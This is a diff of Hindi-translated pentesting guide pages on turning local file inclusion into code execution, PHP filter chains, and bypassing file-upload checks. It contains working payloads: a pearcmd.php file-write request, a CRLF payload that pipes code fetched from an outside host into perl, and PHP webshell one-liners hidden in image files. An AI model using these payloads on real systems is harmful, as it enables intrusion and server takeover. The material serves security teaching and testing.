### Via PHP_SESSION_UPLOAD_PROGRESS
### PHP_SESSION_UPLOAD_PROGRESS के माध्यम से
यदि आप एक **Local File Inclusion** पाते हैं भले ही आपके पास **don't have a session** हो और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, PHP आपके लिए **enable the session for you** करेगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
यदि आपको **Local File Inclusion** मिला है भले ही आपके पास **don't have a session** हो और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **enable the session for you** करेगा। आप इसे RCE प्राप्त करने के लिए abuse कर सकते हैं:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### Windows में temp file uploads के माध्यम से
यदि आप एक **Local File Inclusion** पाते हैं और सर्वर **Windows** पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:
यदि आपको **Local File Inclusion** मिला है और सर्वर **Windows** पर चल रहा है तो आप RCE पा सकते हैं:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
### `pearcmd.php` + URL args के माध्यम से
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` php docker images में डिफ़ॉल्ट रूप से मौजूद रहती है। इसके अलावा, स्क्रिप्ट को URL के माध्यम से arguments पास करना संभव है क्योंकि बताया गया है कि यदि किसी URL param में `=` नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखिए भी [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)।
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
निम्न request `/tmp/hello.php` में कंटेंट `<?=phpinfo()?>` वाली एक फ़ाइल बनाएगा:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
निम्नलिखित CRLF vuln का दुरुपयोग RCE प्राप्त करने के लिए किया गया है (स्रोत: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (स्रोत: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### phpinfo() के जरिए (file_uploads = on)
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
यदि आपने **Local File Inclusion** पाया है और एक फाइल जो **phpinfo()** दिखाती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure के जरिए
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
यदि आपने **Local File Inclusion** पाया है और आप temp file का **can exfiltrate the path** कर सकते हैं, लेकिन **server** **checking** कर रहा है कि **file to be included has PHP marks**, तो आप इस **Race Condition** के साथ उस जांच को **bypass that check** करने की कोशिश कर सकते हैं:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### eternal waiting + bruteforce के जरिए
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
यदि आप LFI का दुरुपयोग करके **upload temporary files** कर सकते हैं और server को PHP execution **hang** करवा सकते हैं, तो आप घंटों तक नामों को **brute force filenames during hours** करके temporary file ढूंढ सकते हैं:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Fatal Error तक
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
यदि आप किसी भी फ़ाइल को शामिल करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (उस त्रुटि को फेंकने के लिए आपको उसी one को 2 बार include करना होगा).
**मुझे नहीं पता कि यह कितना उपयोगी है लेकिन यह उपयोगी हो सकता है।**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**मुझे नहीं पता कि यह कैसे उपयोगी है पर हो सकता है।**\
_भले ही आप PHP Fatal Error पैदा कर दें, PHP द्वारा upload की गई temporary files हटा दी जाती हैं._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -668,6 +700,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

38
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -2,36 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php filters का उपयोग करके मनचाहा सामग्री** आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप **मनचाहा php कोड** शामिल करने के लिए **बिना लिखे** इसे एक फ़ाइल में उत्पन्न कर सकते हैं।
## परिचय
बुनियादी रूप से स्क्रिप्ट का लक्ष्य है कि फ़ाइल के **शुरुआत** में एक **Base64** स्ट्रिंग उत्पन्न करना जो **अंततः डिकोड** किया जाएगा और वांछित पेलोड प्रदान करेगा जो **`include` द्वारा व्याख्यायित** किया जाएगा।
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताती है कि आप **php filters to generate arbitrary content** का उपयोग करके आउटपुट के रूप में मनमाना कंटेंट जनरेट कर सकते हैं। इसका मूल अर्थ यह है कि आप **generate arbitrary php code** कर सकते हैं जिसे include के लिए उपयोग किया जा सके, और उसे किसी फ़ाइल में लिखने की आवश्यकता नहीं होगी।
यह करने के लिए आधार हैं:
स्क्रिप्ट का लक्ष्य यह है कि फ़ाइल की शुरुआत में एक **Base64** स्ट्रिंग जनरेट की जाए जिसे अंततः decode किया जाएगा और वह payload प्रदान करेगा जिसे `include` द्वारा interpret किया जाएगा।
- `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के साथ `\x1b$)C` को जोड़ देगा
- `convert.base64-decode` अत्यधिक सहिष्णु है, यह मूल रूप से किसी भी चरित्र को अनदेखा कर देगा जो मान्य base64 नहीं है। यदि यह अप्रत्याशित "=" पाता है तो यह कुछ समस्याएँ देता है लेकिन उन्हें `convert.iconv.UTF8.UTF7` फ़िल्टर के साथ हटा दिया जा सकता है।
इसे करने के बुनियादी तत्व हैं:
मनचाही सामग्री उत्पन्न करने के लिए लूप है:
- `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के आगे `\x1b$)C` prepend करेगा
- `convert.base64-decode` बहुत tolerant है, यह मूल रूप से उन कैरेक्टर को ignore कर देता है जो valid base64 नहीं हैं। यह कुछ समस्याएँ देता है अगर इसे unexpected "=" मिल जाएँ, लेकिन उन्हें `convert.iconv.UTF8.UTF7` filter से हटाया जा सकता है।
1. हमारे स्ट्रिंग के साथ `\x1b$)C` को जोड़ें जैसा कि ऊपर वर्णित है
2. कुछ iconv परिवर्तनों की श्रृंखला लागू करें जो हमारी प्रारंभिक base64 को बरकरार रखती है और उस भाग को परिवर्तित करती है जिसे हमने अभी जोड़ा है एक स्ट्रिंग में जहाँ केवल मान्य base64 वर्ण हमारे base64-कोडित php कोड का अगला भाग है
3. स्ट्रिंग को base64-डिकोड और base64-एन्कोड करें जो बीच में किसी भी गंदगी को हटा देगा
4. 1 पर वापस जाएं यदि base64 जिसे हम बनाना चाहते हैं वह अभी तक पूरा नहीं हुआ है
5. हमारे php कोड को प्राप्त करने के लिए base64-डिकोड करें
मनमाना कंटेंट जनरेट करने का loop यह है:
1. ऊपर बताए अनुसार हमारे स्ट्रिंग के आगे `\x1b$)C` prepend करें
2. कुछ iconv conversions की chain apply करें जो हमारी initial base64 को अछूता छोड़ दे और हमने जो भाग अभी prepend किया है उसे ऐसी स्ट्रिंग में बदल दे जहाँ valid base64 कैरेक्टर सिर्फ़ हमारे अगले base64-encoded php कोड का हिस्सा हों
3. base64-decode और फिर base64-encode करें, जो बीच की किसी भी garbage को हटा देगा
4. अगर जिस base64 को हम बनाना चाहते हैं वह पूरा नहीं हुआ है तो चरण 1 पर वापस जाएँ
5. base64-decode करके हमारा php code प्राप्त करें
> [!WARNING]
> **Includes** आमतौर पर फ़ाइल के अंत में **".php" जोड़ने** जैसी चीजें करती हैं, जो इस शोषण को कठिन बना सकती हैं क्योंकि आपको एक .php फ़ाइल खोजनी होगी जिसमें ऐसा सामग्री हो जो शोषण को नष्ट न करे... या आप **बस `php://temp` को संसाधन के रूप में उपयोग कर सकते हैं** क्योंकि इसमें **नाम में कुछ भी जोड़ा जा सकता है** (जैसे +".php") और यह अभी भी शोषण को काम करने की अनुमति देगा!
> **Includes** आमतौर पर फ़ाइल के अंत में **".php" जोड़ने** जैसी चीजें करते हैं, जो exploit को मुश्किल बना सकती हैं क्योंकि आपको ऐसी .php फ़ाइल खोजनी पड़ेगी जिसका कंटेंट exploit को न रोकता हो... या आप **php://temp** का उपयोग कर सकते हैं क्योंकि इसके नाम में कुछ भी appended हो सकता है (जैसे +".php") और यह फिर भी exploit को काम करने देगा!
## How to add also suffixes to the resulting data
## परिणामी डेटा में suffixes कैसे जोड़े जाएँ
[**यह writeup बताता है**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप कैसे अभी भी PHP फ़िल्टर का दुरुपयोग कर सकते हैं ताकि परिणामस्वरूप स्ट्रिंग में उपसर्ग जोड़े जा सकें। यह तब महान है जब आपको आउटपुट को किसी विशिष्ट प्रारूप (जैसे json या शायद कुछ PNG मैजिक बाइट्स जोड़ना) में होना चाहिए
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप कैसे PHP filters का दुरुपयोग करके resulting string में suffixes जोड़ सकते हैं। यह तब उपयोगी है जब आउटपुट को किसी विशेष फॉर्मेट (जैसे json या शायद कुछ PNG magic bytes जोड़ना) में चाहिए।
## Automatic Tools
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(उपसर्ग जोड़ सकता है)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Full script
```python
@ -95,7 +96,7 @@ print(r.text)
```
### सुधार
पिछला स्क्रिप्ट उस पेलोड के लिए आवश्यक base64 वर्णों तक सीमित है। इसलिए, मैंने **सभी base64 वर्णों को ब्रूटफोर्स करने** के लिए अपना खुद का स्क्रिप्ट बनाया:
पिछला स्क्रिप्ट उस payload के लिए आवश्यक base64 वर्णों तक सीमित था। इसलिए, मैंने अपना स्क्रिप्ट बनाया ताकि **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
यहाँ **स्क्रिप्ट** है जो प्रत्येक b64 अक्षर उत्पन्न करने वाले एन्कोडिंग्स को प्राप्त करती है:
यहाँ प्रत्येक b64 अक्षर उत्पन्न करने वाली एन्कोडिंग प्राप्त करने के लिए **स्क्रिप्ट** है:
```php
<?php
@ -253,6 +254,7 @@ find_vals($init);
## अधिक संदर्भ
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

230
src/pentesting-web/file-upload/README.md
View File

@ -4,24 +4,24 @@
## फ़ाइल अपलोड सामान्य कार्यप्रणाली
अन्य उपयोगी एक्सटेंशन:
अन्य उपयोगी extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8 में कार्य करना**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
- **Flash**: _.swf_
- **Perl**: _.pl, .cgi_
- **Erlang Yaws वेब सर्वर**: _.yaws_
- **Erlang Yaws Web Server**: _.yaws_
### फ़ाइल एक्सटेंशन जांच को बायपास करें
### फ़ाइल एक्सटेंशन्स चेक बायपास करना
1. यदि लागू हो, तो **पिछले एक्सटेंशन की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
1. यदि लागू हों, तो **पिछले एक्सटेंशन्स** की **जाँच** करें। इन्हें कुछ **अपरकेस अक्षरों** का उपयोग करके भी परखें: _pHp, .pHP5, .PhAr ..._
2. _जाँच करें कि क्या आप execution extension से पहले एक मान्य extension **जोड़कर** bypass कर सकते हैं (पिछले extensions का भी उपयोग करें):_
- _file.png.php_
- _file.png.Php5_
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का उपयोग करके भी प्रयास कर सकते हैं_)
3. अंत में **विशेष वर्ण** जोड़कर कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** वर्णों पर **bruteforce** कर सकते हैं। (_नोट कि आप पहले बताए गए **extensions** का भी उपयोग कर सकते हैं_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं._
4. सर्वर-साइड के extension parser को **धोखा देकर** सुरक्षा को बायपास करने की कोशिश करें, जैसे **दोहराना** (doubling) या extensions के बीच **junk** डेटा (**null** bytes) जोड़ना। _आप बेहतर payload तैयार करने के लिए पहले बताए गए **extensions** का भी उपयोग कर सकते हैं।_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,75 +40,75 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. पिछले जांच के लिए **एक और परत एक्सटेंशनों** को जोड़ें:
5. पिछले चेक में **एक और परत एक्सटेंशन्स** जोड़ें:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **मान्य एक्सटेंशन से पहले कार्यकारी एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यहां **.php** एक्सटेंशन के साथ कुछ भी चलाने के लिए Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है, लेकिन** जरूरी नहीं कि .php** में समाप्त हो)
- _उदाहरण: file.php.png_
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
6. कोशिश करें कि **exec extension को वैध extension से पहले** रखें और उम्मीद करें कि सर्वर misconfigured हो। (यह Apache misconfigurations का फायदा उठाने के लिए उपयोगी है जहाँ कुछ भी जिसकी extension .php हो, लेकिन जरूरी नहीं कि यह .php पर खत्म हो, को कोड execute करवा देता है):
- _ex: file.php.png_
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करना। इस मामले में, एक colon character ":" एक प्रतिबंधित extension के बाद और एक अनुमत extension से पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **खाली फ़ाइल जिस पर प्रतिबंधित extension है** बन जाएगी (उदा. "file.asax:.jpg"). इस फ़ाइल को बाद में दूसरी तकनीकों से एडिट किया जा सकता है जैसे कि उसकी short filename का उपयोग करना। "**::$data**” पैटर्न का उपयोग non-empty files बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक dot character जोड़ना भी आगे की प्रतिबंधों को बायपास करने में उपयोगी हो सकता (.e.g. "file.asp::$data.")
8. फ़ाइलनाम की सीमा तोड़ने की कोशिश करें। वैध extension कट जाता है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
```
# Linux अधिकतम 255 बाइट
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### सामग्री-प्रकार, जादुई संख्या, संकुचन और आकार बदलने को बायपास करें
### Content-Type, Magic Number, Compression & Resizing को बायपास करना
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
- Content-Type चेक को बायपास करने के लिए Content-Type header के मान को सेट करें: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **वर्डलिस्ट**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** चेक को बायपास करने के लिए फ़ाइल के आरंभ में असली इमेज के बाइट्स जोड़ें (जिससे _file_ कमांड भ्रमित हो जाए)। या shell को इमेज के **metadata** में डालें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
`\` या आप payload को सीधे इमेज में भी डाल सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन को सहन करेगा**।
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन को सहन करेगा**।
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने को सहन करता है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन को सहन करेगा**।
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- यदि आपकी image पर compressions लागू किए जा रहे हैं, उदाहरण के लिए कुछ standard PHP लाइब्रेरीज जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php) का उपयोग हो रहा है, तो उपर्युक्त तकनीकें उपयोगी नहीं होंगी। हालांकि, आप **PLTE chunk** [**तकनीक यहाँ परिभाषित है**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ टेक्स्ट डाल सकते हैं जो **compression में टिक जाएगा**।
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD के `imagecopyresized` या `imagecopyresampled` फ़ंक्शंस का उपयोग करके। हालांकि, आप **IDAT chunk** [**तकनीक यहाँ परिभाषित है**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ टेक्स्ट डालकर वह **compression में बच जाए**।
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- एक और तकनीक जो image resizing से बचने वाला payload बनाने के लिए है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालांकि, आप **tEXt chunk** [**तकनीक यहाँ परिभाषित है**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि टेक्स्ट **compression में बचा रहे**।
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### अन्य ट्रिक्स की जांच करें
### जांचने के अन्य तरकीबें
- पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
- बैकडोर को निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
- **संभावित जानकारी का खुलासा**:
1. **एक ही नाम** के साथ **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) अपलोड करें।
2. **पहले से मौजूद** फ़ाइल या **फ़ोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें।
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करें। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
- **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो जब पीड़ित द्वारा गलती से खोली जाती है तो **कोड निष्पादित करेगी**।
- पहले से अपलोड की गई फ़ाइल का नाम बदलने की किसी vulnerability को खोजें (extension बदलने के लिए)।
- फ़ाइल अपलोड के बाद backdoor execute करने के लिए कोई **Local File Inclusion** vulnerability खोजें।
- **संभव Information disclosure**:
1. एक ही नाम वाली फ़ाइल को **कई बार** (और एक ही समय में) अपलोड करें।
2. किसी ऐसे फ़ाइल या फ़ोल्डर के नाम पर फ़ाइल अपलोड करें जो पहले से मौजूद हो।
